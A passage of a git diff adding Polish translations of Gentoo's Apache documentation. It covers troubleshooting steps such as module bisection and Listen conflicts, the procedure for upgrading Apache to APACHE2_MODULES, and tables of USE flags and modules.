+dev-php/phpsysinfo-2.3-r2
+dev-php/phpsysinfo-2.1-r2
+dev-lang/php-5.2.4_p20070914-r2
+net-www/mod_layout-4.0.1a-r1
+www-servers/gorg-0.5
+
+<comment>(Następnie budujemy ponownie te, które są zainstalowane)</comment>
+# <i>emerge -av '=dev-lang/php-5.2.4_p20070914-r2' '=net-www/mod_layout-4.0.1.a-r1'</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Lokaliwozanie uszkodzonego modułu</title>
+<body>
+
+<p>
+Jeśli po wykonaniu powyższych instrukcji problem nadal występuje, to winowajcą
+jest prawdopodobnie jeden z zainstalowanych modułów dodatkowych.
+</p>
+
+<p>
+Najpierw wyłączamy wszystkie moduły i restartujemy Apache.
+</p>
+
+<pre caption="Wyłączanie dodatkowych modułów">
+<comment>(Modyfikujemy /etc/conf.d/apache2)</comment>
+
+<comment>(Przed zmianą)</comment>
+APACHE2_OPTS="-D PHP5 -D USERDIR -D SSL"
+
+<comment>(Po zmianie)</comment>
+APACHE2_OPTS=""
+</pre>
+
+<pre caption="Restartowanie Apache">
+# <i>/etc/init.d/apache2 stop</i>
+<comment>(Należy się upewnić, że Apache jest całkowicie zatrzymane)</comment>
+# <i>ps -A</i>
+# <i>/etc/init.d/apache2 start</i>
+</pre>
+
+<note>
+Być może konieczne będzie dokonanie drobnych zmian w konfiguracji jeśli
+wykorzystane były dyrektywy które te moduły zapewniają w miejscach, które nie
+testują czy dany moduł jest załadowany. Zaleca się, aby umieszczać je zawsze w
+kontenerach testowych. Przykłady można znaleźć w plikach .conf w
+<path>/etc/apache2/modules.d</path>.
+</note>
+
+<p>
+Jeżeli Apache przestaje segfaultować oraz wysyłać puste strony to można być
+pewnym, że problemem był jeden z modułów dodatkowych. Aby sprawdzić który z
+nich, dodajemy je z powrotem, po jednym, za każdym razem całkowicie restartując
+Apache.
+</p>
+
+<p>
+Jeżeli Apache przestanie działać po dodaniu konkretnego modułu, to wiadomo, że
+to właśnie on sprawiał problemy. Czasem zwyczajne przebudowanie modułu rozwiąże
+kłopoty.
+</p>
+
+<p>
+Jeżeli po przebudowaniu modułu i zrestartowaniu Apache nadal występują te same
+problemy, to należy <uri link="http://bugs.gentoo.org">zgłosić błąd</uri>
+wymieniający konkretną wersję i aktualizację modułu oraz wspomnieć o tym, czy
+segfaultuje. Najpierw należy poszukać już zgłoszonych błędów!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Serwer nie przetwarza skryptów PHP lub CGI, zamiast tego wyświetla ich kod </title>
+<section>
+<body>
+
+<p>
+W większości przypadków sytuacja, kiedy apache wyświetla kod skryptu zamiast go
+uruchomić, mimo włączenia odpowiednich modułów w pliku
+<path>/etc/conf.d/apache2</path>, jest spowodowana problemem ze starym cache po
+stronie przeglądarki.
+</p>
+
+<p>
+Często problem pojawia się, gdy łączymy się z serwerem poprzez jego nazwę DNS,
+a znika, gdy wybierzemy jego numer IP. W takim wypadku niemal na pewno jest to
+problem z cache.
+</p>
+
+<p>
+Ten problem można rozwiązać czyszcząc cache przeglądarki.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>configure: error: changes in the environment can compromise the build</title>
+<section>
+<body>
+
+<p>
+Jeśli zdarza się taki błąd, to prawdopodobnie w <c>CFLAGS</c> w
+<path>/etc/make.conf</path> znajdują się zbędne spacje. Poprawka jest prosta -
+należy usunąć dodatkowe spacje:
+</p>
+
+<pre caption="Przykładowe zmiany w /etc/make.conf">
+<comment>(Przed zmianą)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3  -pipe"
+
+<comment>(Po zmianie)</comment>
+CFLAGS="-O2 -mcpu=pentium3 -march=pentium3 -pipe"
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Address already in use: make_sock: could not bind to address 0.0.0.0:443</title>
+<section>
+<body>
+
+<p>
+Taki błąd zdarza się podczas startu i jest wywołany przez istnienie w
+konfiguracji kilku wzajemnie niekompatybilnych dyrektyw <c>Listen</c>.
+Rozwiązaniem tego problemu powinno być wyszukanie w konfiguracji
+<c>Listen</c> oraz naprawienie każdego wystąpienia.
+</p>
+
+<pre caption="Znajdowanie wszystkich dyrektyw Listen">
+<comment>(Upewnienie się, że znajduje sięw katalogu konfiguracji)</comment>
+# <i>cd /etc/apache2/</i>
+
+<comment>(Wyszukanie wszystkich dyrektyw Listen)</comment>
+# <i>grep Listen httpd.conf vhosts.d/*.conf modules.d/*.conf</i>
+</pre>
+
+<p>
+Poszukujemy konfliktów między tym, do czego próbuje dowiązać się Apache. Na
+przykład, jeżeli w <path>httpd.conf</path> znajduje się wpis <c>Listen 80</c>, a
+w innym pliku można znaleźć <c>Listen 10.0.0.15:80</c>, to serwer nie będzie w
+stanie wystartować. Dzieje się tak ponieważ Apache najpierw dowiązuje się do
+portu 80 na wszystkich adresach IP dostępnych na komputerze, a następnie do
+portu 80 na adresie 10.0.0.15, co nie udaje się, gdyż jest on już wykorzystany.
+</p>
+
+<p>
+Zalecaną konfiguracją jest umieszczenie pojedynczej dyrektywy <c>Listen 80</c>
+(tak jest w domyślnym <path>httpd.conf</path>) tak, aby dowiązać się na
+wszystkich adresach do standardowego portu HTTP, a następnie dla każdego
+<c>VirtualHost</c> z SSL stworzyć oddzielną bezwzględną dyrektywę <c>Listen</c>
+(na przykład <c>Listen 10.0.0.15:443</c>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Po aktualizacji do apache-2.0.54-r13 domyślne vhosty (SSL i nie-SSL) już nie działają</title>
+<section>
+<body>
+
+<p>
+W aktualizacji do apache-2.0.54-r13 dodano dwie nowe dyrektywy aby poprawić <uri
+link="http://bugs.gentoo.org/show_bug.cgi?id=100624">błąd 100624</uri>.
+</p>
+
+<p>
+Nowe dyrektywy to <c>-D DEFAULT_VHOST</c> dla aktywacji domyślnego vhosta oraz
+<c>-D SSL_DEFAULT_VHOST</c> dla aktywacji wersji z SSL. Obydwie muszą zostać
+dodane do <c>APACHE2_OPTS</c> w <path>/etc/conf.d/apache2</path> jeżeli Apache
+ma się zachowywać tak, jak dawniej.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="getting-help">
+<title>Szukanie wsparcia</title>
+<section>
+<body>
+
+<p>
+Jeżeli żadna z powyższych rad nie pomogła w rozwiązaniu problemu lub jeśli
+występuje potrzeba zadania innych pytań, zawsze można skorzystać z kanału
+<path>#gentoo-apache</path> na <path>irc.freenode.net</path>. Można też zgłosić
+błąd na <uri link="http://bugs.gentoo.org">Bugzilli Gentoo</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/pl/apache/doc/upgrading.xml b/xml/htdocs/proj/pl/apache/doc/upgrading.xml
new file mode 100644
index 00000000..d53cb92a
--- /dev/null
+++ b/xml/htdocs/proj/pl/apache/doc/upgrading.xml
@@ -0,0 +1,792 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/apache/doc/upgrading.xml,v 1.1 2008/03/31 20:17:50 shadow Exp $ -->
+
+<guide link="/proj/pl/apache/doc/upgrading.xml" lang="pl">
+<title>Aktualizacja Apache</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Editor">
+  <mail link="hollow"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Tłumacz">
+  <mail link="lucass@gentoo.org">Łukasz Strzygowski</mail>
+</author>
+
+<abstract>
+Dokument opisuje proces bezpiecznej aktualizacji Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Aktualizacja wersji &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Ebuildy Apache przez długi czas korzystały z
+<path>/etc/apache2/apache2-builtin-mods</path> do wybierania modułów, które mają
+być skompilowane. Miało to jednak szereg wad.
+</p>
+
+<ul>
+  <li>
+    Wybór podczas pierwszej instalacji nie był możliwy.
+  </li>
+  <li>
+    Portage nie wiedziało które moduły zostały już zainstalowane. Sprawiało to
+    problemy szczególnie w przypadku prekompilowanych pakietów.
+  </li>
+  <li>
+    Portage próbowało nadpisać plik <path>apache2-builtin-mods</path> przy
+    każdej aktualizacji.
+  </li>
+</ul>
+
+<p>
+W celu naprawienia tej sytuacji zrezygnowaliśmy z pliku
+<path>/etc/apache2/apache2-builtin-mods</path> i zaczęliśmy korzystać ze
+zmiennych <c>APACHE2_MODULES</c> z <c>USE_EXPAND</c>. Poniższe polecenie pozwoli
+na przerobienie starego sposobu wyboru modułów na nowy:
+</p>
+
+<pre caption="Zmiana apache2-builtin-mods na APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(Można teraz bezpiecznie zaktualizować apache)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+Oprócz dodania zmiennej <c>APACHE2_MODULES</c>, dokonaliśmy także porządków we
+flagach USE.
+</p>
+
+<ul>
+  <li>
+    Wszystkie flagi USE MPM zostały przeniesione do zmiennej <c>APACHE2_MPMS</c>
+    z <c>USE_EXPAND</c>
+  </li>
+  <li>
+    <c>no-suexec</c> został zastąpiony przez <c>suexec</c>
+  </li>
+  <li>
+    <c>static-modules</c> teraz nazywają się po prostu <c>static</c>
+  </li>
+</ul>
+
+<p>
+Dokładny opis wszystkich starych i nowych flag USE znajduje się <uri
+link="#use-2.2.6-r4">poniżej</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Aktualizacja z &lt;2.0.52-r3</title>
+<section>
+<title>Wprowadzenie</title>
+<body>
+
+<p>
+Stan pakietów z Apache i jego modułami zaczął się pogarszać. Liczne problemy
+utrudniały pracę grupy opiekującej się Apache oraz pomoc użytkownikom:
+</p>
+
+<ul>
+  <li>
+    Konfiguracja dostarczana z Gentoo znacznie różniła się od domyślnej, jakiej
+    oczekiwała większość użytkowników
+  </li>
+  <li>
+    Wiele modułów używało podobnego kodu, ale robiło wszystko na swój sposób
+  </li>
+  <li>
+    Większość modułów nie była dobrze zarządzana - przede wszystkim z powodu ich
+    dużej ilości
+  </li>
+  <li>Moduły nie posiadały standardowej konfiguracji</li>
+  <li>
+    Niektóre moduły współpracowały z obiema wersjami Apache, ale ebuildy tego
+    nie obsługiwały
+  </li>
+  <li>
+    Niektóre funkcje Apache nie były dostępne dla użytkowników Gentoo (na
+    przykład MPM)
+  </li>
+  <li>Błędy związane z Apache nawarstwiały się</li>
+</ul>
+
+<p>
+Dokument ten szczegółowo opisuje bezpieczny dla systemu proces aktualizacji
+apache. Deweloperzy oraz zainteresowani zmianami użytkownicy, którzy chcieliby
+się dowiedzieć jak zmodyfikować ebuildy, żeby korzystały z nowej eclassy mogą
+znaleźć więcej informacji w <uri
+link="/proj/en/apache/apache-developer.xml">Apache Developer Reference</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aktualizowanie</title>
+<body>
+
+<p>
+Wprowadziliśmy wiele zmian w działaniu Apache pod Gentoo. Każdy pakiet,
+który jest z nim bezpośrednio związany, musi zostać zaktualizowany.
+Nie wszystko będzie działać tak jak wcześniej.
+</p>
+
+<p>
+Po pierwsze, musimy dowiedzieć się, które pakiety należy zaktualizować.
+Możemy skorzystać w tym celu z programu <c>equery</c>, należącego do
+pakietu <c>app-portage/gentoolkit</c>.
+</p>
+
+
+<pre caption="Wyszukiwanie pakietów do aktualizacji">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+net-www/mod_ldap_userdir-1.1.4
+www-apache/mod_loopback-1.04
+www-apache/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+Lista pakietów, które mamy zainstalowane w systemie, może się znacznie różnić od
+powyższej. Musimy wykonać podane polecenie samodzielnie.
+</impo>
+
+<warn>
+W Portage wciąż są moduły i pakiety zależne od Apache, które nie zostały jeszcze
+zaktualizowane. Warto poszukać bugów dotyczących wszystkich krytycznych pakietów
+związanych z Apache jakich używamy w <uri
+link="http://bugs.gentoo.org">Bugzilli</uri>.
+</warn>
+
+
+<p>
+Wprowadzone zmiany nie dotyczą wielu aplikacji internetowych, w większości
+korzystających z eclassy <c>webapp</c>, która kontroluje ich poprawną
+instalację. Można sprawdzić czy zostały zaktualizowane w nowej wersji pakietu.
+</p>
+
+<p>
+Ponieważ dodaliśmy kilka nowych flag USE, warto je przejrzeć i dodać odpowiednie
+wpisy do <path>/etc/portage/package.use</path>.  Więcej informacji znajduje się
+w rozdziale <uri link="#use-2.2.6-r4">Flagi USE dotyczące Apache</uri>.
+</p>
+
+
+<pre caption="Aktualizacja pakietów z nowymi flagami USE">
+<comment>(Aby wyświetlić nowe flagi USE i niezbędne aktualizacje)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Aby zaktualizować pakiety)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(Aktualizacja samego world może okazać się łatwiejsza)</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Teraz musimy ponownie skonfigurować Apache oraz jego moduły. Zaczniemy od
+aktualizacji plików w <path>/etc/init.d</path> oraz <path>/etc/conf.d</path> za
+pomocą narzędzi <c>etc-update</c> lub <c>dispatch-conf</c>.  Nie wyświetlą one
+plików konfiguracyjnych apache, ponieważ wszystkie zostały przeniesione do
+innych lokalizacji.
+</p>
+
+<p>
+Jeśli wprowadziliśmy zmiany do domyślnych plików <path>apache.conf</path> oraz
+<path>commonapache.conf</path>, będziemy musieli je przepisać w
+<path>/etc/apache{|2}/httpd.conf</path>. Zmieniły się ścieżki do plików
+konfiguracyjnych modułów oraz vhostów. Obecnie znajdują się odpowiednio w
+katalogach <path>/etc/apache2/modules.d</path> oraz
+<path>/etc/apache2/vhosts.d</path>.
+</p>
+
+<p>
+Kiedy skończymy przepisywać nasze zmiany do nowych plików konfiguracyjnych,
+musimy usunąć poprzednie (lub gdzieś je przenieść). Poprawiony
+<path>/etc/init.d/apache{|2}</path> nie pozwala uruchomić apache jeśli wciąż
+istnieją, zakładając, że ponownie skonfigurowaliśmy apache korzystając z nowych
+plików.
+</p>
+
+<note>
+Wiele modułów, które wcześniej były aktywowane domyślnie, teraz jest
+wyłączonych. Jeśli potrzebujemy tych wbudowanych w apache, wystarczy
+odkomentować odpowiednie linie w httpd.conf. Jeśli chcemy skorzystać z modułów
+zewnętrznych, musimy odszukać w ich konfiguracji <c>IfDefine</c> i dodać ich
+nazwy do <path>/etc/conf.d/apache{|2}</path>.
+</note>
+
+<p>
+Następnie ponownie uruchamiamy apache.
+</p>
+
+<pre caption="Ponowne uruchamianie apache">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+
+<p>
+Jeśli natrafimy na jakieś problemy, powinniśmy przeczytać <uri
+link="/doc/pl/apache-troubleshooting.xml">Apache Troubleshooting Guide</uri>.
+Jeżeli nie znajdziemy tam rozwiązania, należy je zgłosić w  <uri
+link="http://bugs.gentoo.org">bugzilli</uri>. W raporcie błędu trzeba wymienić
+używane moduły oraz (jeżeli korzystamy z Apache 2) flagi USE dotyczące MPM z
+jakich korzystamy. Pomoc można uzyskać także na kanale
+<path>#gentoo-apache</path> w sieci <path>irc.freenode.net</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Flagi USE dotyczące Apache</title>
+<section>
+<body>
+
+<p>
+Apache i jego moduły korzystają z pewnych specyficznych flag USE. Oczywiście
+obsługują także bardziej standardowe flagi takie jak <c>ssl</c>, jednak nie
+opisujemy ich zachowania, ponieważ nie różni się znacznie od tego w innych
+pakietach. Wszystkie obsługiwane flagi można wyświetlić poleceniem <c>emerge
+--verbose --pretend apache</c>.
+</p>
+
+<table>
+<tr>
+  <th>Flaga USE</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Powinna być ustawiona zawsze gdy korzysta się z Apache serii 2.0. Nie
+    powinna być ustawiona dla wersji 1.3. Eklasa wykorzystuje tę flagę do
+    zdefiniowania używanej wersji Apache.
+  </ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Dodaje kod pozwalający na uruchomienie podanych poleceń po tym jak proces
+    potomny zostanie przerwany z błędem. Istnieją już dwa moduły,
+    <c>mod_whatkilledus</c> i <c>mod_backtrace</c>, które wykorzystują tę
+    możliwość.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>
+    Instaluje manual i dokumentację.
+  </ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Instaluje <c>mod_ldap</c> i <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>
+    Instaluje <c>mod_ssl</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Buduje <uri link="http://mpm-itk.sesse.net/">itk</uri> MPM</ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Buduje <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Buduje <uri link="http://www.telana.com/peruser.php">peruser</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Buduje <uri
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri>
+    MPM</ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Buduje <uri
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">threadpool</uri>
+    MPM
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Buduje <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri> MPM
+  </ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Wbuduje moduły na stałe w binaria apache. Nie będzie wtedy konieczne
+    korzystanie z LoadModule dla załadowania podstawowych modułów Apache.
+  </ti>
+</tr>
+</table>
+
+<note>
+Flagi USE <c>mpm-*</c> wzajemnie się wykluczają. Dlatego należy wybrać tylko
+jedną flagę <c>mpm-*</c>. Jeśli jej się nie wybierze poprzez USE, automatycznie
+zostanie wybrana flaga <c>mpm-prefork</c> lub  <c>mpm-worker</c> w zależności od
+ustawienia flagi USE threads.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>Flagi USE wspierany w wersji 2.2.6-r4 i nowszych</title>
+<section>
+<body>
+
+<p>
+Po wprowadzeniu <c>APACHE2_MODULES</c> porządki we flagach USE były
+koniecznością. Poniższa lista zawiera wszystkie wspierane flagi USE dla
+<c>apache-2.2.6-r4</c> i nowszych oraz ich odpowiedniki w starszych wersjach.
+</p>
+
+<table>
+<tr>
+  <th>Flaga USE</th>
+  <th>Dawna flaga USE</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Dodaje kod pozwalający na uruchomienie podanych poleceń po tym jak proces
+    potomny zostanie przerwany z błędem. Istnieją już dwa moduły,
+    <c>mod_whatkilledus</c> i <c>mod_backtrace</c>, które wykorzystują tę
+    możliwość.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>Instaluje manual i dokumentację Apache</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>Instaluje <c>mod_ldap</c> i <c>mod_authnz_ldap</c></ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>Instaluje <c>mod_ssl</c></ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Wbuduje moduły na stałe w binaria apache. Nie będzie wtedy konieczne
+    korzystanie z LoadModule dla załadowania podstawowych modułów Apache.
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Instaluje <c>mod_suexec</c> i program pomocniczny <c>suexec</c></ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>Wybiera domyślny MPM jeśli nie wybrano żadnego w APACHE2_MPMS</ti>
+</tr>
+</table>
+
+<p>
+Poniższa tabela zawiera wszystkie wspierane wartości zmiennej
+<c>APACHE2_MPMS</c> w <c>apache-2.2.6-r4</c> i flagi USE które je reprezentowały
+w poprzednich wydaniach pakietu.
+</p>
+
+<table>
+<tr>
+  <th>Flaga USE</th>
+  <th>Dawna flaga USE</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>Eksperymentalna wersja domyślnego MPM</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>
+    Pozwala na uruchomienie każdej wirtualnej domeny z innymi wartościami uid i
+    gid
+  </ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Pozwala na uruchomienie każdego procesu potomnego apache jako inny
+    użytkownik lub inna grupa. Każdy proces może mieć własny zestaw wirtualnych
+    domen.
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>Implementacja niewątkowego serwera stron</ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    MPM implementujący hybrydowy wielowątkowy i wieloprocesowy serwer stron
+  </ti>
+</tr>
+</table>
+
+<p>
+Poniższa lista zawiera wszystkie wspierane wartości zmiennej
+<c>APACHE2_MODULES</c> od wersji <c>apache-2.2.6-r4</c>.
+</p>
+
+<table>
+<tr>
+  <th>Flaga</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    Pozwala na uruchamianie skryptów CGI opartych na typie pliku lub metodzie
+    dostępu
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Pozwala na mapowanie różnych portów do różnych miejsca drzewa dokumentów lub
+    na przekierowanie URL
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Wysyła pliki zawierające własne nagłówki HTTP</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Podstawowe metody uwierzytelniania</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>Uwierzytelnianie za pomocą sumy MD5</ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Dodaje możliwość tworzenia rozszerzonych możłiwości uwierzytelniania
+    opartych o już istniejące
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>Pozwala na anonimowy dostęp do niechronionych danych</ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>Uwierzytalnie za pomocą bazy SQL</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>Uwierzytelnianie za pomocą plików DBM</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Domyślny sposób uwierzytelniania</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>Uwierzytelnianie poprzez pliki tekstowe</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Uwierzytelnianie grup poprzez pliki DBM</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Inny domyślny sposób uwierzytelniania</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Uwierzytelnianie grup za pomocą plików pisanych otwartym tekstem</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Uwierzytelnianie grup oparte na adresie IP i nazwie hosta</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Uwierzytelnianie oparte na prawach dostępu do plików</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>Uwierzytelnianie użytkownika</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Automatyczne tworzenie indeksów katalogów, podobnego do wyniku polecenia
+    <c>ls</c>
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Przypisuje cache do adresów</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>Składnia CERN dla httpd</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Pozwala na określenie translacji i kodowania znaków</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>Dodaje funkcje WebDAV</ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>System plików dla mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>Moduł odcinający dla mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Zarządzanie połączeniami z bazą SQL</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Kompresja danych przed wysłaniem</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Zapewnia przekierowania dla adresów z nadmiarowym ukośnikiemm
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Zarządzanie cache przypisany do adresów</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Zapisuje cały ruch I/O</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>
+    Pozwala na modyfikację zmiennych środowiskowych przekazywanych do stron CGI
+    i SSI
+  </ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Tworzy nagłówki Expires i Cache-Control zgodnie z kryteriami podanymi przez
+    użytkownika
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Przetwarza odpowiedź podanym programem przed wysłaniem jej do klienta
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Zapisuje listy statycznych plików w pamięci</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>Pozwala na filtrowanie treści</ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>Pozwala na zmianę nagłówków w zapytaniach i odpowiedziach HTTP</ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>Poszukiwanie ident zgodne z RFC 1413</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Przetwarzanie imagemap po stronie serwera</ti>
+</tr>
+<tr>
+  <ti>include</ti>
+  <ti>Pozwala na dołączanie plików HTML po stronie serwera</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Pokazuje informacje o konfiguracji serwera</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Logowanie zapytań wysyłanych do serwera</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Dokładniejsze logowanie zapytań wysyłanych do serwera</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Logowanie wejściowych i wejściowych bajtów na żądanie</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Przypisuje cache do adresów</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Pozwala na powiązanie rozszerzeń plików ze sposobami ich obsługi
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Pozwala na wykrycie typu MIME pliku na podstawie kilku bajtów jego
+    zawartości
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Pozwala na negocjowanie zawartości</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>Serwer proxy HTTP/1.1</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>Moduł AJP dla mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>Rozszerzenie mod_proxy pozwalające na zarządzanie obciążeniem</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>Rozszerzenie mod_proxy do obsługi zapytań CONNECT</ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>Obsługa FTP w mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>Obsługa HTTP w mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Pozwala na podmianę adresów w locie
+  </ti>
+</tr>
+<tr>
